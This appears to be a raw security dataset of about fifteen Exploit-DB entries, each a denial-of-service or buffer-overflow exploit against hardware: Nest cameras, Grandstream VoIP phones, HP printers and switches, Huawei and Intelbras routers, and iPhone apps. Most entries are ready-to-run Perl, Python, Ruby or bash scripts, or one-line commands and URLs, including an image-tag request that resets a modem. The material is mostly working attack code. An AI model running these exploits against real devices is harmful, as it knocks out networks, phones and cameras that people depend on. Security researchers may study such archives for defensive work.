deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41643
Description: Google Nest Cam 5.2.1  - Buffer Overflow Conditions Over Bluetooth LE
Type: dos
Platform: hardware
Date: 2017-03-20
Author: Jason Doyle

Exploit:
# Exploit Title: Google Nest Cam - Multiple Buffer Overflow Conditions Over Bluetooth LE
# Reported to Google: October 26, 2016
 # Public Disclosure: March 17, 2017
# Exploit Author: Jason Doyle @_jasondoyle
# Vendor Homepage: https://nest.com/
# Affected: Dropcam, Dropcam Pro, Nest Cam Indoor/Outdoor models 
# Tested Version: 5.2.1 
# Fixed Version: TBD
# https://github.com/jasondoyle/Google-Nest-Cam-Bug-Disclosures/blob/master/README.md 

==Bluetooth (BLE) based Buffer Overflow via SSID parameter==

1. Summary 

It's possible to trigger a buffer overflow condition when setting the SSID parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.

2. Proof of Concept

 anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I 
[18:B4:30:5D:00:B8][LE]> connect 
Attempting to connect to 18:B4:30:5D:00:B8 
Connection successful
 [18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 [18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b 
Characteristic value was written successfully
 Characteristic value was written successfully 
[18:B4:30:5D:00:B8][LE]> (gatttool:20352): GLib-WARNING **: Invalid file descriptor.

3. Details 

The payload attempts to set an SSID with a length of 1 byte and sends 16. SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16

4. Result 

Crash and reboot back to operational state


==Bluetooth (BLE) based Buffer Overflow via Encrypted Password parameter==

1. Summary 

It's possible to trigger a buffer overflow condition when setting the encrypted password parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.

2. Proof of Concept 

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I 
[18:B4:30:5D:00:B8][LE]> connect
 Attempting to connect to 18:B4:30:5D:00:B8 
Connection successful 
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
 [18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b 
Characteristic value was written successfully
 Characteristic value was written successfully
 [18:B4:30:5D:00:B8][LE]> (gatttool:20352): GLib-WARNING **: Invalid file descriptor.

3. Details 

The payload attempts to set the encrypted wifi password with a length of 1 byte and sends 3. SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
Exploit-DB #1153
Description: Grandstream Budge Tone 101/102 VOIP Phone - Denial of Service
Type: dos
Platform: hardware
Date: 2005-08-12
Author: Pierre Kroma

Exploit:
#!/usr/bin/perl
#
use IO::Socket;
use Term::ANSIColor;

############################ U S A G E ###################################
system ("clear");
print "\nGrandstream BT101/BT102 DoS\n";
print "written by pierre kroma (kroma\@syss.de)\n\n";

if (!$ARGV[2]){
print qq~
Usage: perl grandstream-DoS.pl -s <ip-addr> <udp-port> {-r/-s}

	<ip-addr>  = ;-)
	<udp-port> = 5060

	-r = 'reboot' 	the Grandstream BT 101/102
	-s = 'shutdown' the Grandstream BT 101/102

~; exit;}
################################## D E F I N I T I O N S####################

$victim = $ARGV[0];
$port = $ARGV[1];
$option = $ARGV[2];

if ( $option == 'r' || $option == 'R' )
{	$request= 'k'x65534;}

if ( $option == 's' || $option == 'S' )
{	$request= 'p'x65535;}
else
{	print "Wrong parameter - try it again";
	exit;
}


# ping the remote device
print color 'bold blue';
print "\nping the remote device $victim\n";
print color 'reset';
system("ping -c 3 $victim");

print color 'bold red';
print "\n Wait ... \n\n\n";
print color 'reset';
$sox = IO::Socket::INET->new(Proto=>"udp",PeerPort=>"$port",PeerAddr=>"$victim");

print $sox $request;
sleep 1;
close $sox;

# ping the remote device
print color 'bold blue';
print "ping the remote device $victim again\n";
print color 'reset';
system("ping -c 3 $victim");

# milw0rm.com [2005-08-12]
Exploit-DB #3535
Description: Grandstream Budge Tone-200 IP Phone - Digest domain Denial of Service
Type: dos
Platform: hardware
Date: 2007-03-21
Author: MADYNES

Exploit:
#!/usr/bin/perl
# MADYNES Security Advisory 
# http://madynes.loria.fr 
#
# Title: Grandstream Budge Tone-200 denial of service vulnerability 
#
# Release Date:  21/03/2007 
#
# Severity:      High - Denial of Service 
#
# Advisory ID:KIPH3 
#
# Hardware: Grandstream Budge Tone-200 IP Phone 
# http://www.grandstream.com/consumerphones.html 
#
# Affected Versions: Program-- 1.1.1.14 Bootloader-- 1.1.1.5 
#
# Other versions maybe. 
#
# Vulnerability Synopsis: After sending a crafted INVITE/CANCE or any 
# message with a "WWW-Authenticate" where the "Digest domain" is crafted 
# the device freezes provoking a DoS. 
#
# Impact: A remote individual can remotely crash and perform a Denial of 
# Service(DoS) attack in all the services provided by the software by 
# sending one crafted SIP INVITE message. This is conceptually similar to 
# the "ping of death". 
#
# Resolution: The vendor was contacted at multiple times, the complete 
# report was sent, but no feedback whatsoever resulted. 
#
# Vulnerability Description: the device reboots after a crafted INVITE 
# message had been sent. 
#
# Configuration of our device: 
#
# Software Version: Program-- 1.1.1.14 Bootloader-- 1.1.1.5 
#
# IP-Address obtained by DHCP as 192.168.1.105 
#
# The configuration is the default 
#
# Vulnerability: 
#
# After sending a crafted INVITE, CANCEL or any message with a 
# "WWW-Authenticate" where the "Digest domain" is crafted the device 
# freezes provoking a DoS. 
#
# Credits:
# Humberto J. Abdelnur (Ph.D Student)
# Radu State (Ph.D)
# Olivier Festor (Ph.D)
# This vulnerability was identified by the Madynes research team at INRIA
# Lorraine, using the Madynes VoIP fuzzer.
# http://madynes.loria.fr/
# Exploit: 
#
# To run the exploit the file invite_grandstream.pl should be launched 
# (assuming our configurations) as: 
#
# perl invite_grandstream.pl 192.168.1.105 5060 Fosforito 
#
# Proof of Concept Code: 

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$AUTH = "WWW-Authenticate: Digest domain=\"/-+:\@=\$\%D6\$;\$=;=\$=\$,\@\$.=;\@;;,&&+:::=\@/2\$&;6+;+=\%A5==;\@:=;\$&\%A3:u,\@=\@;&;\@+::+&;+,,&/&\@=,;=&:&,=&:;:;;K+&\@=\%DA*\$;\@&+&:;/==\%37:\%A6;,\@\%ED,:=:\@,;\%DA;&\$)\$+=;+:\%FE\$:\@;&=,W;,g\%EF;\%FB:+\@O\$+\%AF+;+:,&=\%CA\%EA;\$,\@+/;\@,-;:;,P&\@;_\$:\%C7&+&/!,\%EE\$:,\@:;;\@&\@,+,z\@\$;\@\@\$\$::\@/=,\$3\%ED=\@+\%AE/=&\@;;\$;&\$\%FE:\@;\$+:\$\%EB\$=&:;&K&;:\@\%EA,=\%BA6\%21;=&:\$\"\r\n";

$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;branch=z9hG4bK056a27e7;rport\r\nFrom: <sip:tucu\@192.168.1.2>;tag=as011d1185\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>;$TOTAG\r\n$AUTH\CSeq: 6106 INVITE\r\Max-Forwards: 70\r\nContent-Length: 0\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-03-21]
Exploit-DB #30517
Description: Grandstream GXV-3000 Phone - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2007-08-22
Author: MADYNES

Exploit:
source: https://www.securityfocus.com/bid/25399/info

Grandstream GXV-3000 phones are prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to cause the device to accept a phone while being unable to hang up. This effectively denies service to legitimate users because further calls will not be accepted by the device. 

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username> <src> <port> <username>" unless ($ARGV[5]);



$socket=new IO::Socket::INET->new(

        Proto=>'udp',

                               LocalPort => $ARGV[4],

                               PeerPort=>$ARGV[1],

        PeerAddr=>$ARGV[0]);



$sdp= "v=0\r

o=username 0 0 IN IP4 $ARGV[3]\r

s=The Funky Flow\r

c=IN IP4 $ARGV[3]\r

t=0 0\r

m=audio 33404 RTP/AVP 3 97 0 8\r

a=rtpmap:0 PCMU/8000\r

a=rtpmap:3 GSM/8000\r

a=rtpmap:8 PCMA/8000\r

a=rtpmap:97 iLBC/8000\r

a=fmtp:97 mode=30\r\n";

$sdplen= length $sdp;

$msg= "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r

Via: SIP/2.0/UDP $ARGV[3];branch=001;rport=$ARGV[4]\r

From: <sip:$ARGV[5]\@$ARGV[3]>\r

To:  <sip:$ARGV[2]\@$ARGV[0]>\r

Contact: <sip:$ARGV[5]\@$ARGV[3]>\r

Call-ID: ougui\@$ARGV[3]\r

CSeq: 10419 INVITE\r

Max-Forwards: 70\r

Content-Type: application/sdp\r

Content-Length: $sdplen\r

\r

$sdp";

$socket->send($msg);

sleep(3);

$msg=

"SIP/2.0 183 Session Progress\r

Via: SIP/2.0/UDP $ARGV[3];branch=001;rport=$ARGV[4]\r

From: <sip:$ARGV[5]\@$ARGV[3]>\r

To: <sip:$ARGV[2]\@$ARGV[0]>\r

Call-ID: ougui\@$ARGV[3]\r

CSeq: 10419 INVITE\r

Max-Forwards: 70\r

Contact: <sip:$ARGV[5]\@$ARGV[3]>\r

Content-Type: application/sdp\r

Content-Length: $sdplen\r

\r

$sdp";



$socket->send($msg);
Exploit-DB #2961
Description: Hewlett-Packard (HP) FTP Print Server 2.4.5 - Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2006-12-19
Author: Joxean Koret

Exploit:
#!/usr/bin/python

import sys
from ftplib import FTP

print "Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow (POC)"
print "Copyright (c) Joxean Koret"
print

if len(sys.argv) == 1:
    print "Usage: %s <target>" % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]

print "[+] Running attack against " + target

try:
    ftp = FTP(target)
except:
    print "[!] Can't connect to target", target, ".", sys.exc_info()[1]
    sys.exit(0)
try:
    msg = ftp.login() # Login anonymously
    print msg
except:
    print "[!] Error logging anonymously.",sys.exc_info()[1]
    sys.exit(0)

buf = "./A"
iMax = 9

for i in range(iMax):
    buf += buf

print "[+] Sending buffer of",len(buf[0:3000]),"byte(s) ... "

try:
    print "[+] Please, note that sometimes your connection will not be dropped. "
    ftp.retrlines("LIST " + buf[0:3000])
    print "[!] Exploit doesn't work :("
    print
    sys.exit(0)
except:
    print "[+] Apparently exploit works. Verifying ... "
    print sys.exc_info()[1]

ftp2 = FTP(target)

try:
    msg = ftp2.login()
    print "[!] No, it doesn't work :( "
    print
    print msg
    sys.exit(0)
except:
    print "[+] Yes, it works."
    print sys.exc_info()[1]

# milw0rm.com [2006-12-19]
Exploit-DB #22983
Description: HP Compaq Insight Management Agent 5.0 - Format String
Type: dos
Platform: hardware
Date: 2003-08-04
Author: mcw@wcd.se

Exploit:
source: https://www.securityfocus.com/bid/8336/info

The Compaq Management Agent HTTP server is vulnerable to a format string issue. A remote attacker may be able to exploit this vulnerability in order to execute arbitrary code with Local System privileges.

$ printf "GET /<\x21.DebugSearchPaths>?Url=`perl -e 'print "A"x14'`BBBB`perl -e 'print
".%%x"x1208'`%%n> HTTP/1.0\n\n" | nc 192.168[PII_REDACTED]
Exploit-DB #20090
Description: HP JetDirect J3111A - Invalid FTP Command Denial of Service
Type: dos
Platform: hardware
Date: 2000-07-19
Author: Peter Grundl

Exploit:
source: https://www.securityfocus.com/bid/1491/info

HP JetDirect firmware is vulnerable to a Denial of Service attack. JetDirect devices have an FTP service which fails to properly handle bad FTP commands sent with the ftp "quote" command. This causes the device to stop responding and possibly display an error message. Powering the device off and on is required to regain normal functionality. 

ftp <printer address>
quote AAAAAAAAAAA
Exploit-DB #29297
Description: HP Printer FTP Print Server 2.4.5 - 'LIST' Buffer Overflow
Type: dos
Platform: hardware
Date: 2006-12-19
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/21666/info

-HP Printers running FTP Print Server are prone to a buffer-overflow vulnerability. This issue occurs because the application fails to boundscheck user-supplied data before copying it into an insufficiently sized buffer. 

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial of service.

#!/usr/bin/python

import sys
from ftplib import FTP

print "Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow (POC)"
print "Copyright (c) Joxean Koret"
print

if len(sys.argv) == 1:
    print "Usage: %s <target>" % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]

print "[+] Running attack against " + target

try:
    ftp = FTP(target)
except:
    print "[!] Can't connect to target", target, ".", sys.exc_info()[1]
    sys.exit(0)
try:
    msg = ftp.login() # Login anonymously
    print msg
except:
    print "[!] Error logging anonymously.",sys.exc_info()[1]
    sys.exit(0)

buf = "./A"
iMax = 9

for i in range(iMax):
    buf += buf

print "[+] Sending buffer of",len(buf[0:3000]),"byte(s) ... "

try:
    print "[+] Please, note that sometimes your connection will not be dropped. "
    ftp.retrlines("LIST " + buf[0:3000])
    print "[!] Exploit doesn't work :("
    print
    sys.exit(0)
except:
    print "[+] Apparently exploit works. Verifying ... "
    print sys.exc_info()[1]

ftp2 = FTP(target)

try:
    msg = ftp2.login()
    print "[!] No, it doesn't work :( "
    print
    print msg
    sys.exit(0)
except:
    print "[+] Yes, it works."
    print sys.exc_info()[1]
Exploit-DB #21828
Description: HP Procurve 4000M Switch - Device Reset Denial of Service
Type: dos
Platform: hardware
Date: 2002-09-24
Author: Brook Powers

Exploit:
source: https://www.securityfocus.com/bid/5784/info

When multiple Procurve switches are used interconnected, it is common for an administrator to enable a feature allowing each switch to be viewed through a single interface, accessible via the web.

It has been reported that HP Procurve Switches are vulnerable to a denial of service attack, when used in a "stack" configuration. It is possible for an attacker to reset member switches by issuing a device reset command to a vulnerable device. Vulnerable devices do not require authentication before accepting this command.

It should be noted that the web interface is not enabled by default.

http://<IP ADDRESS>/sw2/cgi/device_reset?
Exploit-DB #21657
Description: HP ProCurve Switch 4000M - SNMP Write Denial of Service
Type: dos
Platform: hardware
Date: 2002-07-27
Author: FX

Exploit:
source: https://www.securityfocus.com/bid/5336/info

An issue has been reported with the HP ProCurve 4000M Switch.

An attacker with SNMP write access to the device may write to the SNMP variable .iso.3.6.1.4.1.11.2.36.1.1.2.1.0. If more than 85 characters are written to this variable, the device will crash the next time it accepts a connection to either the configured telnet or HTTP port. 

snmpwrite <switch_ip> private .iso.3.6.1.4.1.11.2.36.1.1.2.1.0 s `perl -e 'print "A"x85;'`
Exploit-DB #12297
Description: Huawei EchoLife HG520c - Modem Reset (Denial of Service)
Type: dos
Platform: hardware
Date: 2010-04-19
Author: hkm

Exploit:
# Exploit Title: Huawei EchoLife HG520c Denial of Service and Modem Reset
# Date: 2010-04-19
# Author: hkm
# Product Link: http://www.huawei.com/mobileweb/en/products/view.do?id=660
# Firmware Versions: 3.10.18.7-1.0.7.0
#                    3.10.18.5-1.0.7.0
#                    3.10.18.4
# Software Versions: V100R001B120Telmex
#                    V100R001B121Telmex


[Description #1]
=================
The page '/AutoRestart.html' restores the default configuration and reboots
the device. This page does not require authentication.

[Exploit #1]
=================
From LAN or Client Side, just send a simple GET request to:

  http://192.168.1.254/AutoRestart.html

  <img src=http://192.168.1.254/AutoRestart.html>

In case of having the remote interface enabled, from remote:

  http://<REMOTE IP>/AutoRestart.html
______________________________________________________________________


[Description #2]
=================
The page '/rpLocalDeviceJump.html' reboots the device when the 'index'
variable value has a length of more than 7 characters. Requires
authentication.

[Exploit #2]
=================

  http://192.168.1.254/rpLocalDeviceJump.html?index=HAKIM.WS
_____________________________________________________________________


Greets: Requiz, LightOS, chr1x, sdc, nitr0us, pcp, Xianur0, Chito, Kike,
House, Aldo, Chewi, Alex, Paco.


  hkm

hkm@hakim.ws


 [ Comunidad Underground de Mexico - http://www.underground.org.mx ]
Exploit-DB #20328
Description: Intel InBusiness eMail Station 1.4.87 - Denial of Service
Type: dos
Platform: hardware
Date: 2000-10-20
Author: Knud Erik HÃ¸jgaard

Exploit:
source: https://www.securityfocus.com/bid/1844/info

A buffer overflow exists in the Intel InBusiness eMail Station, a dedicated email device. When attempting to establish a connection, the username submitted to the device is not properly filtered for length. By supplying a string for USER of approximately 620 characters in length, it is possible for a remote attacker to overflow the relevant buffer. The device will halt in response, requiring the unit to be powered down and restarted. In addition to this denial of service, an attacker sufficiently familiar with the hardware architecture and firmware of this platform may, potentially, be able to exploit this overflow to place malicious machine code on the stack, permitting interference with or modification of the device's software, interception of messages, or another compromise of the unit's normal function.

[foo@bar]$ telnet mailstation 110
Trying mailstation...
Connected to mailstation.
Escape character is '^]'.
+OK Pop server at mailstation starting. <2[PII_REDACTED]49732@mail>
user [buffer]

where [buffer] is appx. 620 chars of your own choice.(tried A and %, expect
all to work)

Symptoms: The box(a nice little piece of hardware with built-in harddrive
and all) will stop responding, and needs a power cycle to restore function.
Exploit-DB #46768
Description: Intelbras IWR 3000N - Denial of Service (Remote Reboot)
Type: dos
Platform: hardware
Date: 2019-04-30
Author: Social Engineering Neo

Exploit:
#/bin/bash

#   PoC based on CVE-2019-11415 created by Social Engineering Neo.
#
#   Credit: https://1.337.zone/2019/04/08/intelbras-iwr-3000n-any-version-dos-on-malformed-login-request/
#
#   A malformed login request allows remote attackers to cause a denial of service (reboot), as demonstrated by JSON misparsing of the \""} string to v1/system/login.
#
#   Upgrade to latest firmware version iwr-3000n-1.8.7_0 for 3000n routers to prevent this issue.

clear
read -p "Enter Target Address Followed by Port: " target port   # localhost 8080

alive=$(ping -c 1 $target | grep icmp* | wc -l)
if [ "$alive" -eq 0 ]; then
    echo Target May be Offline or Blocking ICMP requests.
    read -p "Would you Like to Proceed? (Y/n): " ans
    if [ "$ans" = 'n' ] || [ "$ans" = 'N' ]; then
        clear
        exit
    fi
fi

if [ "$port" -lt 65536 ] && [ "$port" -gt 0 ]; then
    grab=$(curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' --compressed --data-binary '\""}' $target:$port/v1/system/login)
else
    echo "Incorrect Port."
fi

clear
alive=$(ping -c 1 $target | grep icmp* | wc -l)
if [ "$alive" -eq 0 ]; then
    echo Router Successfully Taken Offline.     #NOTE: if router blocks ICMP requests this may be inaccurate.
else
    echo Exploit Unsuccessfull, Target May Not be Vulnerable.
fi
Exploit-DB #11574
Description: iPhone - 'WebCore::CSSSelector()' Remote Crash
Type: dos
Platform: hardware
Date: 2010-02-24
Author: t12

Exploit:
#!/usr/bin/python
#                       ,
#                      dM
#                      MMr
#                     4MMML                  .
#                     MMMMM.                xf
#     .              "M6MMM               .MM-
#      Mh..          +MM5MMM            .MMMM
#      .MMM.         .MMMMML.          MMMMMh
#       )MMMh.        MM5MMM         MMMMMMM
#        3MMMMx.     'MMM3MMf      xnMMMMMM"
#        '*MMMMM      MMMMMM.     nMMMMMMP"
#          *MMMMMx    "MMM5M\    .MMMMMMM=
#           *MMMMMh   "MMMMM"   JMMMMMMP
#             MMMMMM   GMMMM.  dMMMMMM            .
#              MMMMMM  "MMMM  .MMMMM(        .nnMP"
#   ..          *MMMMx  MMM"  dMMMM"    .nnMMMMM*
#    "MMn...     'MMMMr 'MM   MMM"   .nMMMMMMM*"
#     "4MMMMnn..   *MMM  MM  MMP"  .dMMMMMMM""
#       ^MMMMMMMMx.  *ML "M .M*  .MMMMMM**"
#          *PMMMMMMhn. *x > M  .MMMM**""
#             ""**MMMMhx/.h/ .=*"
#                      .3P"%....
#             [t12]  nP"     "*MMnx 

#		    SMOKE WEED
#greetz to my blackhatz and baycatz
#iPhone CSS::Selector crash
#this Python script acts as a web server and sends a malformed long string to the CSS <style> tag
#this is a remote crash bug, hoever an analysis of the debug dump shows remote code execution capability, I am just lazy

import sys, socket;

def main():
	junk = "*>" * 120000;
	
	html = """
		<html>
		<head>
		<style type="text/css">
		""";

	html += junk;

	html += """
		body {background: blue;}
		</style>
		</head>
		</html>
		""";

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
	s.bind(('',2121));
	s.listen(1);
	
	while True:
		channel, details = s.accept();
		print channel.recv(1024);
		channel.send(html);
		channel.close();

main();
Exploit-DB #11608
Description: iPhone / iTouch FtpDisc 1.0 - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: hardware
Date: 2010-03-01
Author: Alberto Ortega

Exploit:
###############
# Title -> iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS
# Model -> Tested on iPod Touch 3G 3.1.3
# Software -> FTPDisc 1.0 and FTPDisc 1.0 Lite http://itunes.apple.com/es/app/ftpdisc-lite-pdf-reader/id329157971?mt=8
# Attacker -> Tested from GNU/Linux (Sidux), fuzzing with a future PenTBox version :P
#
# Exploit languaje -> Ruby
# Type -> Remote Denial of Service Exploit caused by Buffer Overflow
#
#
###############
# Discovered and written by Alberto Ortega
# http://pentbox.net/
###############

require "socket"
require "net/ftp"

expl = ARGV[0]
host = ARGV[1]

puts ""
if !expl || !host
	puts "HELP - iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS"
	puts ""
	puts "Exploits: 1 - USER [MALFORMED] 2 - cd [MALF] 3 - delete [MALF]"
	puts ""
	puts "- Usage: ftpdisc3io.rb [numberofexploit] [host]"
	puts "- Example: ftpdisc3io.rb 1 192.168.1.2"
	puts ""
else
	buffer = "A"
	10.times do
		buffer = "#{buffer}#{buffer}" # Here de big buffer to send
	end
	if expl == "1" # EXPLOIT 1
		begin
			socket = TCPSocket.new(host, 21)
			puts "[*] Exploiting ..."
			socket.write("USER #{buffer}\r\n")
			puts "[*] Succesfully exploited! :)"
		rescue
			puts "Connection problem"
		end
	elsif expl == "2" || expl == "3"
		begin
			print "[*] Connecting to FTP ... "
			ftp = Net::FTP.new(host, "anonymous")
			puts "OK"
			puts "[*] Exploiting ..."
			if expl == "2"
				begin
					ftp.chdir(buffer) # EXPLOIT 2
				rescue
				end
			else
				begin
					ftp.delete(buffer) # EXPLOIT 3
				rescue
				end
			end
			puts "[*] Succesfully exploited! :)"
		rescue
			puts "Connection problem"
		end
	else
		puts "Incorrect exploit selection (1, 2, 3)"
	end
end
puts ""